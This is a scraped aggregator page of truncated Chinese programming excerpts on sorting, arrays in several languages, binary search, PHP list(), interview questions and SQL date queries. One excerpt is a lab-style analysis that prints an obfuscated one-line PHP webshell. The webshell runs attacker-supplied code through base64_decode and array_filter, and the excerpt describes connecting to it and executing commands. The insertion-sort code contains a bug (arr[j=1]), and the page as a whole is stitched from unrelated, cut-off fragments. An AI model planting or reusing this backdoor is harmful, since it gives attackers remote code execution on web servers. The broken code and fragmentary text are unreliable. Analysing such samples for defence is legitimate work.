arr

七大排序算法

送分小仙女□ 提交于 2019-12-03 05:34:36
排序 内部排序 插入排序 直接插入排序 希尔排序 选择排序 简单选择排序 堆排序 交换排序 冒泡排序 快速排序 直接插入排序 给定一组序列,假定第一个记录自成一个有序序列,其余记录为无序序列。接着从第二个记录开始,按照记录的大小依此将当前处理的记录插入到其之前的有序序列中,直到最后一个记录插入到有序序列中为止 public static void insertSort(int arr[]){ // 1. 假设第一个序列的第一个元素是有序的 // 38,73,27,79,19,76 if(arr == null || arr.length ==0){ return ; } int j = 0; // 2. 设置一个下标,从1开始(从第二个元素开始) for(int i = 1;i<arr.length;i++){ // 当前元素和前一个比较 int temp = arr[i]; j = i; if(temp < arr[j=1]){ // 前一个比当前的大,则将当前元素放到合适的位置 // 此处要找出当前元素合适的位置,同时把前面的元素向后移动 do{ arr[j] = arr[j-1]; j--; }while(arr[j]>temp && j>=1); arr[j] = temp; } } } 排序前: 38 65 97 76 13 27 49 排序后: 13 27 38 49

JavaScript中的数组Array

廉价感情. 提交于 2019-12-03 05:30:47
抄自: https://www.jianshu.com/p/7e160067a06c js中数组的方法种类众多,有ES5之前版本中存在的,ES5新增,ES6新增等;并且数组的方法还有原型方法和从object继承的方法,这里我们只介绍数组在每个版本中原型上的方法。 一、创建数组的方式 1. 字面量方式 var arr1 = []; //创建一个空数组 var arr2 = [5]; //创建一个具有单个元素的数组 var arr3 = [5,6,7]; //创建一个具有多个元素的数组 2. 构造函数方式 var arr1 = new Array(); //创建一个空数组 var arr2 = new Array(5); //创建一个长度为5,值为空的数组 var arr3 = new Array(5,6,7); //创建一个具有多个元素的数组 二、数组方法 //方法名 对应的版本 功能 原数组是否修改 concat() ES5- 合并数组,并返回合并之后的数据 n join() ES5- 使用分隔符,将数组转为字符串并返回 n pop() ES5- 删除最后一位,并返回删除的数据 y shift() ES5- 删除第一位,并返回删除的数据 y unshift() ES5- 在第一位新增一或多个数据,返回长度 y push() ES5- 在最后一位新增一或多个数据,返回长度 y

go-数组与切片

南楼画角 提交于 2019-12-03 05:26:32
数组与切片 定义数组 var score [5]float64 //四种初始化数组方式 var numArr01 [3]int = [3]int{1,2,3} var numArr02 = [3]int{4,5,6} var numArr03 = [...]int{8,9,10} var numArr04 = [...]int{1:800, 2:900, 3:999} //类型推导 strArr05 := [...]string{1:"tom", 0:"jack", 8:"aim"} 数组的遍历 常规遍历 略 for-range结构遍历 go语言独有的一种结构 for index, value := range arry01 {...} 第一个参数是下标,第二个是值,可用占位符_代替 都为局部变量 index和value不是固定的,可自己取名,一般这样写 数组注意事项 数组是多种数据类型的组合,一旦声明,长度固定,不能动态变化 数组中的元素可以是任意类型,包括引用类型,但是不能混用 没有赋值为默认值 数组下标必须在指定范围内使用,否则会报panic错误,数组越界 若想在其他函数中修改,可以使用引用传递(指针方式) 长度是数组的一部分,传递时需考虑长度,所以不能:arr[4]=arr[3],也不能:arr[]=arr[3] 切片介绍 引用类型,遵循引用类型传递机制 动态变化的数组

Python学习day6数组

半腔热情 提交于 2019-12-03 05:23:07
---恢复内容开始--- Java数组     Java 语言中提供的数组是用来存储固定大小的同类型元素。你可以声明一个数组变量,如 numbers[100] 来代替直接声明 100 个独立变量 number0,number1,....,number99。 一、一维数组     声明数组变量(必需先声明后使用) 语法: dataType[] arrayRefVar; 一维数组的初始化     动态初始化:数组声明且为数组元素分配空间与赋值的操作分开进行,例如 int[] arr = new int[3];//声明一个能放3个int类型数据的数组 arr[0] = 9; arr[1] = 8; arr[2] = 7;     静态初始化:在定义数组电的同时就为数组元素分配空间并赋值。例如 int[] a = new int[]{0,1,2};//声明了一个存放了0,1,2这三个数的数组 数组元素的引用     1.定义并用运算符new为之分配空间后,才可以引用数组中的每个元素     2.数组元素的引用方式: 数组名[数组元素下标]       数组元素下标可以是整型常量或整型表达式,如a[0], b[i], c[6*i];       数组元素下标从0开始;       长度为n的数组合法下标取值范围为:0——n-1;如int[] a =new int[3];可引用的数组元素为a

数据结构-查找

久未见 提交于 2019-12-03 05:02:24
一、二分查找 必须为有序数组 1.1递归实现 static int recursive(int[] arr,int low,int high,int target){ if(target < arr[low] || target >arr[high] || low> high){ return -1; } int middle = (low + high)/2; if(arr[middle] <target){ return recursive(arr, middle+1, high, target); }else if(arr[middle]>target){ return recursive(arr,0,middle-1, target); } else{ return middle; } }   1.2 循环实现 public static void main(String[] args) { Arrays.sort(array); int num = 1; int end = array.length-1,begin=0; while(array[(begin + end)/2] != num){ if(num < array[(begin + end)/2]){ end = (begin + end)/2; } else{ begin=(begin + end)/2; }

php中的list()

青春壹個敷衍的年華 提交于 2019-12-03 04:34:00
list()在php中上一个语言结构,并不是一个函数。类似array(),不过array()这个东西我们现在一般很少使用了,因为从php5.4版本开始,我们会直接使用[]来定义数组。 那么,list()这个语言结构是用来做什么的呢?用一句话来说就是,把一个索引数组中的元素分别赋值给不同的变量。 $animals = ['dog', 'cat', 'pig']; list($a, $b, $c) = $animals; 这样的话,$a中的值就是字符串dog,$b为cat,$c为pig。 曾经,自己在项目中遇到希望函数返回两个值的情况,当时的做法是把这两个变量放到一个数组中,然后将数组返回。在使用的地方使用$arr[0]和$arr[1]的方式使用这两个变量,很显然这种做法并不好,没人会知道$arr[0]和$arr[1]代表什么。如果我们使用list($books, $students)这样的方式来接收这个数组,那么就会好得多,我们通过变量名就能知道,返回的两个变量是什么了。 来源: https://www.cnblogs.com/shizqiang/p/11777532.html

javascript中数组比较大小方法

匆匆过客 提交于 2019-12-03 04:28:17
javascript中数组取最大值和最小值 1、排序法 我们给数组进行排序,可以按照从小到大的顺序来排,排序之后的数组中第一个和最后一个就是我们想要获取的最小值和最大值。排序我们会用到数组的 sort 方法。 var arr = [12,56,25,5,82,51,22]; arr.sort(function (a, b) { return a-b; }); // [5,12,22,25,51,56] var min = arr[0]; // 5 var max = arr[arr.length - 1]; // 56 2.假设法 假设当前数组中的第一个值是最大值,然后拿这个最大值和后面的项逐一比较,如果后面的某一个值比假设的值还大,说明假设错了,我们把假设的值进行替换。最后得到的结果就是我们想要的。 // 获取最大值: var arr = [22,13,6,55,30]; var max = arr[0]; for(var i = 1; i < arr.length; i++) { var cur = arr[i]; cur > max ? max = cur : null } console.log(max); // 55 // 获取最小值: var arr = [22,13,6,55,30]; var min = arr[0]; for(var i = 1; i < arr

2018前端笔试面试

女生的网名这么多〃 提交于 2019-12-03 04:22:33
大疆 笔试 1-15选择题16-20简答题 1、get请求body携带问题 查询字符串(名称/值对)是在 GET 请求的 URL 中发送的,body是空的 2、cache-control no-cache表示 HTTP头 cache-control 用于 指定缓存指令 ,所有请求/响应链的缓存机制必须遵守这个指令。该指令规定行为,意在防止缓存受到请求或响应的不利干扰。通常,这些指令可以覆盖默认的缓存算法。缓存指令是 单向 的,也就是说,在一个请求中存在缓存指令不意味着也在其响应中存在。 no-cache,浏览器和缓存服务器 都不应该缓存 页面信息; public,浏览器和缓存服务器 都可以缓存 页面信息; no-store,请求和响应的信息都 不应该被存储在对方的磁盘系统中 ; must-revalidate,对于客户机的每次请求,代理服务器必须想服务器 验证缓存是否过时 目前Cache-Control请求字段被各个浏览器支持的较好,其 优先级也比较高 ,当和别的字段(如Expires)一起用时,会覆盖其他字段。 3、componentWillRecieveProps在componentShouldUpdate之前执行 react相关 4、能产生死锁的情况 是指两个或两个以上的进程(线程)在执行过程中,因 争夺资源 而造成的一种 互相等待 的现象,若无外力作用,它们都将无法推进下去

WebShell代码分析溯源(五)

孤街浪徒 提交于 2019-12-03 04:06:13
WebShell代码分析溯源(五) 一、一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); ?> 二、代码分析 1、调整代码格式    2、分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后把$_POST['POST']赋值给arr数组,然后把arr数组中的每个键值传给base64_decode函数,最终构成一句话木马assert($_post['post']) 注: array_filter() 函数用回调函数过滤数组中的值   三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第4题)),地址: https://www.mozhe.cn/bug/detail/ZVNlS096cEV0WHZsTzdKNHBKZXljUT09bW96aGUmozhe 2、代码环境,下载代码    3、分析(上面已经分析过了) 4、使用菜刀连接    5、执行一些命令       四、后记 学习常用webshell扫描检测查杀工具---牧云(CloudWalker)(百度WebShell扫描检测引擎),网址: https://github.com/chaitin/cloudwalker

Query to select data between two dates with the format m/d/yyyy

匿名 (未验证) 提交于 2019-12-03 03:11:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I am facing problem when i'm trying to select records from a table between two dates. m using the following query select * from xxx where dates between '10/10/2012' and '10/12/2012' this query works for me but when the dates are in format like 1/1/2013.. it doesn't work.. plz solve my problem ASAP. 回答1: This solution provides CONVERT_IMPLICIT operation for your condition in predicate SELECT * FROM xxx WHERE CAST(dates AS date) BETWEEN '1/1/2013' and '1/2/2013' OR SELECT * FROM xxx WHERE CONVERT(date, dates, 101) BETWEEN '1/1/2013' and '1/2